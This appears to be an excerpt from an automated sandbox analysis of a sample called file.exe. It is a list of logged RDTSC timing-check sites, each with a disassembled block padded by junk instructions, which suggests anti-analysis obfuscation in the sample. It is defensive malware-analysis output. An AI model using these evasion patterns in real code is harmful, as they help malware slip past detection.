Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0AE0 second address: 4FF0BCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F4D45034D68h 0x00000010 jmp 00007F4D45034D26h 0x00000015 add eax, ecx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F4D45034D1Eh 0x0000001e add si, 23A8h 0x00000023 jmp 00007F4D45034D1Bh 0x00000028 popfd 0x00000029 jmp 00007F4D45034D28h 0x0000002e popad 0x0000002f mov eax, dword ptr [eax+00000860h] 0x00000035 jmp 00007F4D45034D20h 0x0000003a test eax, eax 0x0000003c jmp 00007F4D45034D20h 0x00000041 je 00007F4DB5ABAF0Bh 0x00000047 pushad 0x00000048 movzx eax, bx 0x0000004b pushfd 0x0000004c jmp 00007F4D45034D23h 0x00000051 sub esi, 11F27BAEh 0x00000057 jmp 00007F4D45034D29h 0x0000005c popfd 0x0000005d popad 0x0000005e test byte ptr [eax+04h], 00000005h 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 pushfd 0x00000066 jmp 00007F4D45034D1Ah 0x0000006b add ah, 00000028h 0x0000006e jmp 00007F4D45034D1Bh 0x00000073 popfd 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA82D second address: 7CA83E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA83E second address: 7CA844 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501032C second address: 5010363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4D44D0519Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movzx ecx, bx 0x00000016 mov ax, di 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010363 second address: 50103FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4D45034D20h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F4D45034D20h 0x00000016 mov edx, dword ptr [ebp+0Ch] 0x00000019 pushad 0x0000001a call 00007F4D45034D1Eh 0x0000001f mov ax, 6A41h 0x00000023 pop ecx 0x00000024 pushfd 0x00000025 jmp 00007F4D45034D27h 0x0000002a xor ch, 0000006Eh 0x0000002d jmp 00007F4D45034D29h 0x00000032 popfd 0x00000033 popad 0x00000034 mov ecx, dword ptr [ebp+08h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F4D45034D1Dh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501041B second address: 501045D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dh 0x00000005 pushfd 0x00000006 jmp 00007F4D44D0519Ah 0x0000000b sub ecx, 4A3DEF78h 0x00000011 jmp 00007F4D44D0519Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b pushad 0x0000001c mov al, 1Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4D44D051A7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500077B second address: 5000789 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000789 second address: 50007A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50007A1 second address: 50007BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, dh 0x0000000d mov dx, si 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50007BA second address: 50007CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50007CF second address: 50007DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D45034D1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50007DF second address: 50007E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50007E3 second address: 500080B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F4D45034D29h 0x00000011 mov ah, CEh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500080B second address: 5000828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D44D051A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000828 second address: 500086F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F4D45034D23h 0x00000017 jmp 00007F4D45034D23h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500086F second address: 5000874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000874 second address: 500088E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500088E second address: 5000892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000892 second address: 50008AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008AD second address: 50008B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008B3 second address: 50008B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008B7 second address: 50008F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bx, cx 0x0000000d jmp 00007F4D44D051A8h 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4D44D051A7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008F7 second address: 500092B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c jmp 00007F4D45034D1Eh 0x00000011 nop 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500092B second address: 5000973 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, 3A35h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ebx, 6604B504h 0x00000012 pushfd 0x00000013 jmp 00007F4D44D0519Dh 0x00000018 adc cx, 5846h 0x0000001d jmp 00007F4D44D051A1h 0x00000022 popfd 0x00000023 popad 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F4D44D0519Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50009A2 second address: 50009CB instructions: 0x00000000 rdtsc 0x00000002 mov ah, 86h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx ebx, cx 0x00000009 popad 0x0000000a cmp dword ptr [ebp-04h], 00000000h 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 mov cl, 09h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 call 00007F4D45034D21h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000A1C second address: 5000A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000A20 second address: 5000A26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000A26 second address: 5000A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000A2C second address: 5000A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000A30 second address: 500003E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a movzx esi, di 0x0000000d pushad 0x0000000e jmp 00007F4D44D0519Bh 0x00000013 pushfd 0x00000014 jmp 00007F4D44D051A8h 0x00000019 and ax, CE58h 0x0000001e jmp 00007F4D44D0519Bh 0x00000023 popfd 0x00000024 popad 0x00000025 popad 0x00000026 retn 0004h 0x00000029 nop 0x0000002a cmp eax, 00000000h 0x0000002d setne al 0x00000030 xor ebx, ebx 0x00000032 test al, 01h 0x00000034 jne 00007F4D44D05197h 0x00000036 xor eax, eax 0x00000038 sub esp, 08h 0x0000003b mov dword ptr [esp], 00000000h 0x00000042 mov dword ptr [esp+04h], 00000000h 0x0000004a call 00007F4D4971CA2Dh 0x0000004f mov edi, edi 0x00000051 jmp 00007F4D44D051A1h 0x00000056 xchg eax, ebp 0x00000057 pushad 0x00000058 call 00007F4D44D0519Ch 0x0000005d pushad 0x0000005e popad 0x0000005f pop eax 0x00000060 push eax 0x00000061 push edx 0x00000062 call 00007F4D44D051A7h 0x00000067 pop eax 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500003E second address: 500010C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F4D45034D24h 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4D45034D1Eh 0x00000015 add esi, 158DB738h 0x0000001b jmp 00007F4D45034D1Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F4D45034D28h 0x00000027 and esi, 26F53198h 0x0000002d jmp 00007F4D45034D1Bh 0x00000032 popfd 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F4D45034D24h 0x0000003d and si, 5BF8h 0x00000042 jmp 00007F4D45034D1Bh 0x00000047 popfd 0x00000048 mov bx, ax 0x0000004b popad 0x0000004c push FFFFFFFEh 0x0000004e jmp 00007F4D45034D22h 0x00000053 call 00007F4D45034D19h 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F4D45034D27h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500010C second address: 5000130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000130 second address: 5000136 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000136 second address: 50001C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ch, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f mov bh, 54h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F4D44D0519Eh 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F4D44D0519Bh 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F4D44D0519Fh 0x0000002d xor ecx, 5DBFFD3Eh 0x00000033 jmp 00007F4D44D051A9h 0x00000038 popfd 0x00000039 jmp 00007F4D44D051A0h 0x0000003e popad 0x0000003f pop eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F4D44D051A7h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50001C7 second address: 5000252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, B60Ah 0x00000007 push edx 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c call 00007F4D45034D19h 0x00000011 pushad 0x00000012 mov bh, 7Ch 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F4D45034D21h 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 pushad 0x00000022 mov esi, edx 0x00000024 mov cx, di 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a pushad 0x0000002b push esi 0x0000002c mov si, bx 0x0000002f pop ebx 0x00000030 popad 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 jmp 00007F4D45034D26h 0x0000003a pop eax 0x0000003b jmp 00007F4D45034D20h 0x00000040 mov eax, dword ptr fs:[00000000h] 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F4D45034D27h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000252 second address: 5000298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov ecx, 7F6E1D63h 0x00000010 mov ecx, 279B2CBFh 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 mov edx, 3CC22FB6h 0x0000001d mov di, 9142h 0x00000021 popad 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F4D44D0519Bh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000298 second address: 500029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500029C second address: 50002A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50002A2 second address: 50002A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50002A8 second address: 50002AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50002AC second address: 500030C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4D45034D28h 0x00000012 adc si, DD38h 0x00000017 jmp 00007F4D45034D1Bh 0x0000001c popfd 0x0000001d mov ecx, 6937376Fh 0x00000022 popad 0x00000023 xchg eax, ebx 0x00000024 jmp 00007F4D45034D22h 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F4D45034D1Eh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500030C second address: 5000324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ch, bh 0x0000000f mov dl, cl 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000324 second address: 500035C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, esi 0x00000007 pushad 0x00000008 pushfd 0x00000009 jmp 00007F4D45034D1Ah 0x0000000e sbb ecx, 6F0D5C58h 0x00000014 jmp 00007F4D45034D1Bh 0x00000019 popfd 0x0000001a mov ebx, ecx 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f movsx ebx, ax 0x00000022 mov si, 34A3h 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov ch, 7Ch 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500035C second address: 50003A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F4D44D0519Dh 0x0000000c sbb ecx, 249ABAA6h 0x00000012 jmp 00007F4D44D051A1h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, edi 0x0000001a jmp 00007F4D44D0519Eh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F4D44D0519Eh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50003A9 second address: 50003F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F4D45034D26h 0x0000000f mov eax, dword ptr [75AF4538h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bl, 57h 0x00000019 jmp 00007F4D45034D26h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50003F0 second address: 5000448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F4D44D051A4h 0x00000013 sbb al, FFFFFF98h 0x00000016 jmp 00007F4D44D0519Bh 0x0000001b popfd 0x0000001c jmp 00007F4D44D051A8h 0x00000021 popad 0x00000022 xor eax, ebp 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 mov si, bx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000448 second address: 5000482 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushfd 0x00000009 jmp 00007F4D45034D21h 0x0000000e adc al, FFFFFF96h 0x00000011 jmp 00007F4D45034D21h 0x00000016 popfd 0x00000017 pop eax 0x00000018 popad 0x00000019 push ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ecx, edx 0x0000001f mov eax, edi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000482 second address: 5000502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4D44D0519Ch 0x00000009 sub cx, 40E8h 0x0000000e jmp 00007F4D44D0519Bh 0x00000013 popfd 0x00000014 mov ch, F0h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F4D44D051A1h 0x00000023 xor ah, 00000006h 0x00000026 jmp 00007F4D44D051A1h 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F4D44D051A0h 0x00000032 or eax, 259115A8h 0x00000038 jmp 00007F4D44D0519Bh 0x0000003d popfd 0x0000003e popad 0x0000003f lea eax, dword ptr [ebp-10h] 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov bx, 5716h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000502 second address: 5000508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000508 second address: 500054C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e pushad 0x0000000f mov eax, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F4D44D051A9h 0x00000019 xor si, 8B26h 0x0000001e jmp 00007F4D44D051A1h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500054C second address: 50005C9 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [ebp-18h], esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4D45034D24h 0x00000012 sub ax, A7F8h 0x00000017 jmp 00007F4D45034D1Bh 0x0000001c popfd 0x0000001d popad 0x0000001e mov eax, dword ptr fs:[00000018h] 0x00000024 jmp 00007F4D45034D26h 0x00000029 mov ecx, dword ptr [eax+00000FDCh] 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F4D45034D1Eh 0x00000036 add ecx, 7A8D3188h 0x0000003c jmp 00007F4D45034D1Bh 0x00000041 popfd 0x00000042 pushad 0x00000043 movzx esi, di 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50005C9 second address: 50005EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 test ecx, ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e call 00007F4D44D051A5h 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50005EE second address: 5000632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F4D45034D5Fh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F4D45034D1Eh 0x00000016 xor cx, 3178h 0x0000001b jmp 00007F4D45034D1Bh 0x00000020 popfd 0x00000021 movzx eax, bx 0x00000024 popad 0x00000025 add eax, ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000632 second address: 500063C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 330B55F9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0137 second address: 4FF013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF013B second address: 4FF0141 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0141 second address: 4FF0146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0146 second address: 4FF01A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F4D44D0519Fh 0x0000000a jmp 00007F4D44D051A3h 0x0000000f popfd 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F4D44D051A6h 0x00000019 push eax 0x0000001a jmp 00007F4D44D0519Bh 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F4D44D051A0h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF01A9 second address: 4FF01AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF01AF second address: 4FF01E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 66h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4D44D051A2h 0x0000000f sub esp, 2Ch 0x00000012 jmp 00007F4D44D051A0h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov cx, bx 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF027E second address: 4FF02B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4D45034D21h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF02B0 second address: 4FF02C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
